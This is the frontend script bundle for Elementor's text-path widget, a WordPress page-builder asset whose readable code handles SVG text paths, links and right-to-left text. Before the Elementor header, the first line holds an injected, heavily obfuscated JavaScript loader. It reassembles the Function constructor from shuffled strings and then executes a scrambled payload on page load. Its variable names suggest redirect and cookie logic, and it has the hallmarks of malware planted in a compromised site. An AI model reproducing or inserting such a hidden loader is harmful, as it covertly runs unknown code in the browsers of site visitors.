var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp  i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e  !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83  c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})()/*! elementor - v3.16.0 - 20-09-2023 */
"use strict";
(self["webpackChunkelementor"] = self["webpackChunkelementor"] || []).push([["text-path"],{

/***/ "../modules/shapes/assets/js/frontend/handlers/text-path.js":
/*!******************************************************************!*\
  !*** ../modules/shapes/assets/js/frontend/handlers/text-path.js ***!
  \******************************************************************/
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {



Object.defineProperty(exports, "__esModule", ({
  value: true
}));
exports["default"] = void 0;
var _utils = __webpack_require__(/*! elementor-frontend/utils/utils */ "../assets/dev/js/frontend/utils/utils.js");
class TextPathHandler extends elementorModules.frontend.handlers.Base {
  getDefaultSettings() {
    return {
      selectors: {
        pathContainer: '.e-text-path',
        svg: '.e-text-path > svg'
      }
    };
  }
  getDefaultElements() {
    const {
      selectors
    } = this.getSettings();
    const element = this.$element[0];
    return {
      widgetWrapper: element,
      pathContainer: element.querySelector(selectors.pathContainer),
      svg: element.querySelector(selectors.svg),
      textPath: element.querySelector(selectors.textPath)
    };
  }

  /**
   * Initialize the object.
   *
   * @return {void}
   */
  onInit() {
    this.elements = this.getDefaultElements();
    this.fetchSVG().then(() => {
      // Generate unique IDs using the wrapper's `data-id`.
      this.pathId = `e-path-${this.elements.widgetWrapper.dataset.id}`;
      this.textPathId = `e-text-path-${this.elements.widgetWrapper.dataset.id}`;
      if (!this.elements.svg) {
        return;
      }
      this.initTextPath();
    });
  }

  /**
   * Fetch & Inject the SVG markup.
   *
   * @return {Promise} success
   */
  fetchSVG() {
    const {
      url
    } = this.elements.pathContainer.dataset;
    if (!url || !url.endsWith('.svg')) {
      return Promise.reject(url);
    }
    return fetch(url).then(res => res.text()).then(svg => {
      this.elements.pathContainer.innerHTML = svg;

      // Re-initialize the elements, so the SVG tag will be added.
      this.elements = this.getDefaultElements();
    });
  }

  /**
   *  Gets a text offset (relative to the starting point) as a string or int, and set it as percents to the
   *  `startOffset` attribute of the `<textPath>` element.
   *
   * @param {string|number} offset The text start offset.
   *
   * @return {void}
   */
  setOffset(offset) {
    if (!this.elements.textPath) {
      return;
    }
    if (this.isRTL()) {
      offset = 100 - parseInt(offset);
    }
    this.elements.textPath.setAttribute('startOffset', offset + '%');
  }

  /**
   * Handle element settings changes.
   *
   * @param {Object} setting The settings object from the editor.
   *
   * @return {void}
   */
  onElementChange(setting) {
    const {
      start_point: startPoint,
      text
    } = this.getElementSettings();
    switch (setting) {
      case 'start_point':
        this.setOffset(startPoint.size);
        break;
      case 'text':
        this.setText(text);
        break;
      case 'text_path_direction':
        this.setOffset(startPoint.size);
        this.setText(text);
        break;
      default:
        break;
    }
  }

  /**
   * Attach a unique ID to the `path` element in the SVG, based on the container's ID.
   * This function selects the first `path` with a `data-path-anchor` attribute, or defaults to the first `path` element.
   *
   * @return {void}
   */
  attachIdToPath() {
    // Prioritize the custom `data` attribute over the `path` element, and fallback to the first `path`.
    const path = this.elements.svg.querySelector('[data-path-anchor]') || this.elements.svg.querySelector('path');
    path.id = this.pathId;
  }

  /**
   * Initialize & build the SVG markup of the widget using the settings from the panel.
   *
   * @return {void}
   */
  initTextPath() {
    const {
      start_point: startPoint
    } = this.getElementSettings();
    const text = this.elements.pathContainer.dataset.text;
    this.attachIdToPath();

    // Generate the `textPath` element with its settings.
    this.elements.svg.innerHTML += `
			<text>
				<textPath id="${this.textPathId}" href="#${this.pathId}"></textPath>
			</text>
		`;

    // Regenerate the elements object to have access to `this.elements.textPath`.
    this.elements.textPath = this.elements.svg.querySelector(`#${this.textPathId}`);
    this.setOffset(startPoint.size);
    this.setText(text);
  }

  /**
   * Sets the text on the SVG path, including the link (if set) and its properties.
   *
   * @param {string} newText The new text to put in the text path.
   *
   * @return {void}
   */
  setText(newText) {
    const {
      is_external: isExternal,
      nofollow
    } = this.getElementSettings().link;
    const {
      linkUrl: url
    } = this.elements.pathContainer.dataset;
    const target = isExternal ? '_blank' : '',
      rel = nofollow ? 'nofollow' : '';

    // Add link attributes.
    if (url) {
      newText = `<a href="${(0, _utils.escapeHTML)(url)}" rel="${rel}" target="${target}">${(0, _utils.escapeHTML)(newText)}</a>`;
    }

    // Set the text.
    this.elements.textPath.innerHTML = newText;

    // Remove the cloned element if exists.
    const existingClone = this.elements.svg.querySelector(`#${this.textPathId}-clone`);
    if (existingClone) {
      existingClone.remove();
    }

    // Reverse the text if needed.
    if (this.shouldReverseText()) {
      // Keep an invisible selectable copy of original element for better a11y.
      const clone = this.elements.textPath.cloneNode();
      clone.id += '-clone';
      clone.classList.add('elementor-hidden');
      clone.textContent = newText;
      this.elements.textPath.parentNode.appendChild(clone);
      this.reverseToRTL();
    }
  }

  /**
   * Determine if the text direction of the widget should be RTL or not, based on the site direction and the widget's settings.
   *
   * @return {boolean} is RTL
   */
  isRTL() {
    const {
      text_path_direction: direction
    } = this.getElementSettings();
    let isRTL = elementorFrontend.config.is_rtl;
    if (direction) {
      isRTL = 'rtl' === direction;
    }
    return isRTL;
  }

  /**
   * Determine if it should RTL the text (reversing it, etc.).
   *
   * @return {boolean} should RTL
   */
  shouldReverseText() {
    if (!this.isRTL()) {
      return false;
    }
    const isFirefox = elementorFrontend.utils.environment.firefox;
    if (isFirefox) {
      return false;
    }
    const isChromium = elementorFrontend.utils.environment.blink;
    if (isChromium) {
      return !this.isFixedChromiumVersion();
    }
    return true;
  }

  /**
   * Chromium >= 96 fixed the issue with RTL text in SVG.
   *
   * @see https://chromium-review.googlesource.com/c/chromium/src/+/3159942
   * @see https://chromium.googlesource.com/chromium/src/+/4f1bc7d6ff8bfbf6348613bdb970fcdc2a706b5a/chrome/VERSION
   */
  isFixedChromiumVersion() {
    const FIXED_CHROMIUM_VERSION = 96;
    const currentChromiumVersion = parseInt(navigator.userAgent.match(/(?:Chrom(?:e|ium)|Edg)\/([0-9]+)\./)[1]);
    return currentChromiumVersion >= FIXED_CHROMIUM_VERSION;
  }

  /**
   * Reverse the text path to support RTL.
   *
   * @return {void}
   */
  reverseToRTL() {
    // Make sure to use the inner `a` tag if exists.
    let parentElement = this.elements.textPath;
    parentElement = parentElement.querySelector('a') || parentElement;

    // Catch all RTL chars and reverse their order.
    const pattern = /([\u0591-\u07FF\u200F\u202B\u202E\uFB1D-\uFDFD\uFE70-\uFEFC\s$&+,:;=?@#|'<>.^*()%!-]+)/ig;

    // Reverse the text.
    parentElement.textContent = parentElement.textContent.replace(pattern, word => {
      return word.split('').reverse().join('');
    });

    // Add a11y attributes.
    parentElement.setAttribute('aria-hidden', true);
  }
}
exports["default"] = TextPathHandler;

/***/ })

}]);
//# sourceMappingURL=text-path.bfa8a1f6fcf6c803aaa9.bundle.js.map